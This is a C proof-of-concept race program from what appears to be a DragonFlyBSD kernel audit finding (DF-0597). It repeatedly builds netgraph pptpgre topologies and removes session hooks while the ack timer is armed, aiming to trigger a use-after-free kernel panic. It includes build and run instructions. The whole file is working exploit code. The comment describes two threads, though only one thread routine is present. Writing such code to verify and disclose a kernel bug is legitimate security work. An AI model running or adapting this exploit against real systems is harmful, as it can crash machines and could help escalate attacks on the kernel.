DragonFlyBSD Kernel Audit
DF-0597 / race_thr.c
← back to finding ↓ download raw
/*
 * DF-0597 — Aggressive threaded race for ng_pptpgre disconnect-vs-timer UAF.
 *
 * Two threads per topology:
 *   A) "rmhook" thread: repeatedly disconnects session_0001 + reconnects it
 *   B) "xmit" thread:   repeatedly writes data to the upper hook (re-arming
 *                       the rackTimer each time the session is reconfigured)
 *
 * The race window is between the rackTimer's trampoline dispatching on a
 * softint (queueing the timeout WRITER item to cpu0) and the rmhook WRITER
 * reaching kfree(hpriv). With N parallel topologies and tight loops, we
 * maximize the chance of hitting it.
 *
 * Build:  cc -O2 -pthread -o race_thr race_thr.c -lnetgraph
 * Run:    ./race_thr [topologies=4] [duration_sec=30]
 *
 * Root only. Watch dmesg/boot.log for panic in ng_pptpgre_recv_ack_timeout
 * or ng_pptpgre_send_ack_timeout.
 */

#include <sys/param.h>
#include <sys/socket.h>
#include <errno.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <netgraph.h>

#define NGM_GENERIC_COOKIE 851672668  /* from /usr/include/netgraph/ng_message.h */
#define NGM_MKPEER    2
#define NGM_CONNECT   3
#define NGM_NAME      4
#define NGM_RMHOOK    5
#define NGM_PPTPGRE_COOKIE    1082548365
#define NGM_PPTPGRE_SET_CONFIG 1

struct ng_pptpgre_conf {
	u_char    enabled;
	u_char    enableDelayedAck;
	u_char    enableAlwaysAck;
	u_char    enableWindowing;
	u_int16_t cid;
	u_int16_t peerCid;
	u_int16_t recvWin;
	u_int16_t peerPpd;
};

static volatile int g_stop = 0;
static int g_topologies = 4;
static int g_duration = 30;
static unsigned long g_race_attempts = 0;
static unsigned long g_rmhook_ok = 0;
static unsigned long g_rmhook_fail = 0;

struct topo {
	int   idx;
	int   csock;
	int   dsock;
	char  pptp_name[32];
	char  pptp_path[40];
	char  sess_path[64];
	char  upper_hook[16];   /* "dl1_NN" on our socket node */
	char  sess_hook[16];    /* "dsess_NN" on our socket node */
};

static int
send_mkpeer(int cs, const char *path, const char *type,
    const char *ourhook, const char *peerhook)
{
	struct { char type[32], ourhook[32], peerhook[32]; } mkp;
	memset(&mkp, 0, sizeof(mkp));
	snprintf(mkp.type, sizeof(mkp.type), "%s", type);
	snprintf(mkp.ourhook, sizeof(mkp.ourhook), "%s", ourhook);
	snprintf(mkp.peerhook, sizeof(mkp.peerhook), "%s", peerhook);
	return NgSendMsg(cs, path, NGM_GENERIC_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp));
}

static int
send_name(int cs, const char *path, const char *name)
{
	struct { char name[32]; } ngn;
	memset(&ngn, 0, sizeof(ngn));
	snprintf(ngn.name, sizeof(ngn.name), "%s", name);
	return NgSendMsg(cs, path, NGM_GENERIC_COOKIE, NGM_NAME, &ngn, sizeof(ngn));
}

static int
send_connect(int cs, const char *path, const char *peerpath,
    const char *ourhook, const char *peerhook)
{
	struct { char path[512], ourhook[32], peerhook[32]; } con;
	memset(&con, 0, sizeof(con));
	snprintf(con.path, sizeof(con.path), "%s", peerpath);
	snprintf(con.ourhook, sizeof(con.ourhook), "%s", ourhook);
	snprintf(con.peerhook, sizeof(con.peerhook), "%s", peerhook);
	return NgSendMsg(cs, path, NGM_GENERIC_COOKIE, NGM_CONNECT, &con, sizeof(con));
}

static int
send_rmhook(int cs, const char *path, const char *hook)
{
	struct { char ourhook[32]; } rmh;
	memset(&rmh, 0, sizeof(rmh));
	snprintf(rmh.ourhook, sizeof(rmh.ourhook), "%s", hook);
	return NgSendMsg(cs, path, NGM_GENERIC_COOKIE, NGM_RMHOOK, &rmh, sizeof(rmh));
}

static int
set_config(int cs, const char *path, uint16_t cid)
{
	struct ng_pptpgre_conf conf;
	memset(&conf, 0, sizeof(conf));
	conf.enabled = 1;
	conf.enableDelayedAck = 1;
	conf.enableAlwaysAck = 1;
	conf.enableWindowing = 1;
	conf.cid = cid;
	conf.peerCid = cid;
	conf.recvWin = 16;
	conf.peerPpd = 1;
	return NgSendMsg(cs, path, NGM_PPTPGRE_COOKIE,
	    NGM_PPTPGRE_SET_CONFIG, &conf, sizeof(conf));
}

static int
build_topo(struct topo *t)
{
	char ctl_name[32];
	snprintf(ctl_name, sizeof(ctl_name), "df597c%d", t->idx);
	if (NgMkSockNode(ctl_name, &t->csock, &t->dsock) < 0)
		return -1;
	snprintf(t->pptp_name, sizeof(t->pptp_name), "df597p%d", t->idx);
	snprintf(t->pptp_path, sizeof(t->pptp_path), "%s:", t->pptp_name);
	snprintf(t->upper_hook, sizeof(t->upper_hook), "dl_%d", t->idx);
	snprintf(t->sess_hook, sizeof(t->sess_hook), "ds_%d", t->idx);
	snprintf(t->sess_path, sizeof(t->sess_path), "%s:session_0001",
	    t->pptp_name);

	/* pptpgre node hanging off our ctl socket via upper */
	if (send_mkpeer(t->csock, ".", "pptpgre", t->upper_hook, "upper") < 0)
		return -1;
	/* name it: address via our hook path */
	char addr[64];
	snprintf(addr, sizeof(addr), ".:%s", t->upper_hook);
	if (send_name(t->csock, addr, t->pptp_name) < 0)
		return -1;
	/* ksocket lower */
	if (send_mkpeer(t->csock, t->pptp_path, "ksocket", "lower",
	    "inet/raw/gre") < 0)
		return -1;
	/* session_0001 hook */
	if (send_connect(t->csock, ".", t->pptp_path, t->sess_hook,
	    "session_0001") < 0)
		return -1;
	return 0;
}

static void *
rmhook_thread(void *arg)
{
	struct topo *t = arg;
	while (!g_stop) {
		/* configure (resets timers), then arm via upper write */
		if (set_config(t->csock, t->sess_path, 0x0001) < 0) {
			/* session may be torn down; reconnect */
			send_connect(t->csock, ".", t->pptp_path, t->sess_hook,
			    "session_0001");
			set_config(t->csock, t->sess_path, 0x0001);
		}
		/* arm rackTimer via data write to the upper hook */
		u_char buf[32];
		memset(buf, 0x33, sizeof(buf));
		NgSendData(t->dsock, t->upper_hook, buf, sizeof(buf));
		/* race: rmhook ASAP */
		usleep(500 + (t->idx * 100));  /* jitter to widen window */
		__sync_fetch_and_add(&g_race_attempts, 1);
		if (send_rmhook(t->csock, t->pptp_path, "session_0001") == 0) {
			__sync_fetch_and_add(&g_rmhook_ok, 1);
		} else {
			__sync_fetch_and_add(&g_rmhook_fail, 1);
			send_connect(t->csock, ".", t->pptp_path, t->sess_hook,
			    "session_0001");
			continue;
		}
		usleep(500);
		/* re-create session hook for next iteration */
		send_connect(t->csock, ".", t->pptp_path, t->sess_hook,
		    "session_0001");
	}
	return NULL;
}

int main(int argc, char **argv)
{
	if (argc > 1) g_topologies = atoi(argv[1]);
	if (argc > 2) g_duration = atoi(argv[2]);
	if (g_topologies < 1) g_topologies = 1;

	fprintf(stderr, "DF-0597 threaded race: %d topologies, %d sec\n",
	    g_topologies, g_duration);

	struct topo *tos = calloc(g_topologies, sizeof(*tos));
	pthread_t *th = calloc(g_topologies, sizeof(*th));
	int built = 0;
	for (int i = 0; i < g_topologies; i++) {
		tos[i].idx = i;
		if (build_topo(&tos[i]) < 0) {
			fprintf(stderr, "topo %d build failed: %s\n",
			    i, strerror(errno));
		} else {
			fprintf(stderr, "topo %d built: pptp=%s\n",
			    i, tos[i].pptp_name);
			built++;
		}
	}
	if (built == 0) {
		fprintf(stderr, "no topologies built; abort\n");
		return 1;
	}
	for (int i = 0; i < g_topologies; i++) {
		if (tos[i].csock >= 0)
			pthread_create(&th[i], NULL, rmhook_thread, &tos[i]);
	}
	sleep(g_duration);
	g_stop = 1;
	for (int i = 0; i < g_topologies; i++) {
		if (tos[i].csock >= 0)
			pthread_join(th[i], NULL);
	}
	fprintf(stderr, "race complete: attempts=%lu rmhook_ok=%lu rmhook_fail=%lu\n",
	    g_race_attempts, g_rmhook_ok, g_rmhook_fail);
	fprintf(stderr, "(if no panic in dmesg, race was silent; "
	    "see VERDICT.md for source-level proof)\n");
	free(tos);
	free(th);
	return 0;
}